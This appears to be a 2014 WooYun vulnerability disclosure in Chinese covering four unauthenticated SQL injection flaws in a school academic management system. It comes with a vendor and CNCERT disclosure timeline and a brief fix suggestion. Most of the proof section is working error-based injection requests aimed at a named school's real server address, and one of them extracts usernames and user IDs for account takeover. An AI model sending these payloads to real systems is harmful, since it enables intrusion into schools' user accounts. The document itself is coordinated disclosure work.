当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060797

漏洞标题:某通用教务系统多处SQL注入(无需登录)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-05-15 12:23

修复时间:2014-08-13 12:24

公开时间:2014-08-13 12:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-15: 细节已通知厂商并且等待厂商处理中
2014-05-18: 厂商已经确认,细节仅向厂商公开
2014-05-21: 细节向第三方安全合作伙伴开放
2014-07-12: 细节向核心白帽子及相关领域专家公开
2014-07-22: 细节向普通白帽子公开
2014-08-01: 细节向实习白帽子公开
2014-08-13: 细节向公众公开

简要描述:

~~

详细说明:

利用此漏洞,攻击者自己无需登录,即可进行注入,拿到user_id,通过漏洞:
WooYun: 某通用教务系统信息泄露导致任意用户登录(设计存在逻辑漏洞)
进行等登录任意账户。
此系统用户不少,都是学校在使用,小学,中学,教育机构等很多都在使用。
官方案例:http://www.lezhixing.com.cn/cms/lzx/case/index.jhtml
我们拿一个官方的经典案例进行证明漏洞。
以北京101中学为例:http://202.108.154.209/datacenter/#

2-0.png


一共发现四处无需登录即可进行SQL注入漏洞。
这些漏洞的价值也在与此,因为这个系统是必须登录才能使用的,第一步就是等认证,但是这些注入漏洞不需要登录就可进行,通过注入漏洞,注入出用户信息,只要拿到user_id就能登陆任意用户~~
因此,此登录门槛就没用了,至于登陆后的漏洞就太多了,见下一个漏洞吧~~~

漏洞证明:

注意:一下请求均可使用burp进行重放!
第一处SQL注入:

http://202.108.154.209/zy/resource/fileSize/canUpload.do?folderId=document&userId=aae03b698ecd444aa0ae02f8d87c026a' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='a&spaceName=zhaojinfeng2&totalFileSize=74126


1.png


第二处SQL注入:

链接:http://202.108.154.209/zy/dwr/call/plaincall/ResourceRemoteController.saveFolder.dwr
POST:callCount=1&windowName=pageContent&c0-scriptName=ResourceRemoteController&c0-methodName=saveFolder&c0-id=0&c0-e1=string:document&c0-e2=string:&c0-e3=string:111' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(11111,0x23,(SELECT user()),0x23,11111,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='a&c0-e4=number:0&c0-param0=Object_Object:{parentId:reference:c0-e1, id:reference:c0-e2, folderName:reference:c0-e3, isFav:reference:c0-e4}&batchId=8&page=%2Fzy%2Fapplication%2Fdc%2Fresource%2Fpersonal%2FresourceTree.jsp%3F__time__%3D1394689762501&httpSessionId=&scriptSessionId=AA3132DFF60DA6BEBB7C8FA5C33A6BB1


2.png


第三处SQL注入:

链接:http://202.108.154.209/zy/dwr/call/plaincall/ResourceShareRemoteController.saveShareInfo.dwr
POST:callCount=1
windowName=frmain
c0-scriptName=ResourceShareRemoteController
c0-methodName=saveShareInfo
c0-id=0
c0-e1=string:be7961c04c8044658744ab3907d2caab' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(11111,0x23,(SELECT user()),0x23,11111,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='a
c0-param0=array:[reference:c0-e1]
c0-param1=string:
c0-param2=array:[]
c0-e2=string:d75e095056734f928e49060147a429a4
c0-param3=array:[reference:c0-e2]
c0-param4=boolean:false
c0-param5=number:1
c0-e3=null:null
c0-e4=null:null
c0-e5=null:null
c0-e6=null:null
c0-param6=Object_Object:{startDate:reference:c0-e3, endDate:reference:c0-e4, startTime:reference:c0-e5, endTime:reference:c0-e6}
batchId=3
page=%2Fzy%2Fresource%2Fshare%2FshareFile.do%3FisOnly%3Dfalse%26ids%3Dbe7961c04c8044658744ab3907d2caab
httpSessionId=
scriptSessionId=42B6217855FF66CEBABF5AE9031994A2


3.png


第四处SQL注入:

请求:
http://202.108.154.209/zy/dwr/call/plaincall/ResourceV2ForCommonResourceController.getUserPowerForFolderAndChild.dwr
POST:
callCount=1&windowName=&c0-scriptName=ResourceV2ForCommonResourceController&c0-methodName=getUserPowerForFolderAndChild&c0-id=0&c0-param0=string:('aae03b698ecd444aa0ae02f8d87c026a')&c0-param1=string:d47d3adae1db433495b77fc1bc6e2e47' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='&batchId=18&page=%2Fzy%2Fapplication%2Fdc%2FresourceV3%2Fstore%2Fresource_center.jsp&httpSessionId=&scriptSessionId=F659C07BFD5188569DACF85E4F68C318


4.png

修复方案:

1、既然有登录的门槛,那么所有的请求都必须在登录后才有权限进行。
2、过滤一下啊

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-18 16:30

厂商回复:

由CNVD通过公开渠道联系北京乐知行软件有限公司处置。

最新状态:

暂无